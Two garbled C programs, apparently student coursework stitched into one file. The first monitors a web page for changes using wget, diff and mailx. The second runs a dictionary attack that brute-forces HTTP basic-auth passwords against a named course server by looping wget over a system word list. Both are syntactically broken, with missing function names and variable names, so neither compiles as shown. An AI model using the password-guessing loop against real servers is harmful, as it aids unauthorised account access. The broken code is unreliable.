

             
	     


#include<stdio.h>
#include<stdlib.h>
#include<string.h>

    
    int  ()
    {
       char url[30];
       int exitValue=-1;
       FILE *fr;

       char s[300]; 	     
	system("rm index.html*");
        system("wget http://www.cs.rmit.edu./students/ ");    
	 system("mv index.html one.html");
	 
           printf("System completed Writing\n"); 
	   system("sleep 3600");
	    
	    
            system("wget http://www.cs.rmit.edu./students/ "); 
            
	          
	    	     
	     exitValue=system("diff one.html index.html > .out" );
	     
             fr=fopen(".out","r");
	     
	     strcpy(s,"mailx -s \"Testing Again\"");
	     	     
	     strcat(s,"  < .out");
	     if(fgets(url,30,fr))
	     {
	     system(s);
	     
	     system("rm one.html");  
	     
	     printf("\nCheck your mail") ; 
	     fclose(fr);        
	     }
	       else
	           {
	            printf(" changes detected"); 
		    
	            system("rm one.html"); 
		    fclose(fr);   
		   }
		   return 0;   
      }
      
      
   









#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int ()

{
   int cntr=0;
   char get[96];
   char username[]="";
   char password[16];
   int R_VALUE;
   double time_used;
   clock_t , end;
  
   FILE* fp;
   fp = fopen("/usr/share/lib/dict/words","r");
     
    = clock();
  
       while ( fscanf(fp,"%s",&password) != EOF )
	   {
        
		  
		  if(strlen(password)>3) continue;
		   
		        cntr++;
                printf("%d          >> PASSWORD SEND : %s \n",cntr, password);
              
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
                
  
                R_VALUE=system(get);
          
	            if(R_VALUE==0)
				{
		         printf("The Password has been cracked and it is : %s" , password);
		         exit(0);
				}

	   }

	   
  end = clock();
  time_used = ((double) (end - )) / CLOCKS_PER_SEC;
  printf("time_used = %f\n", time_used);

}



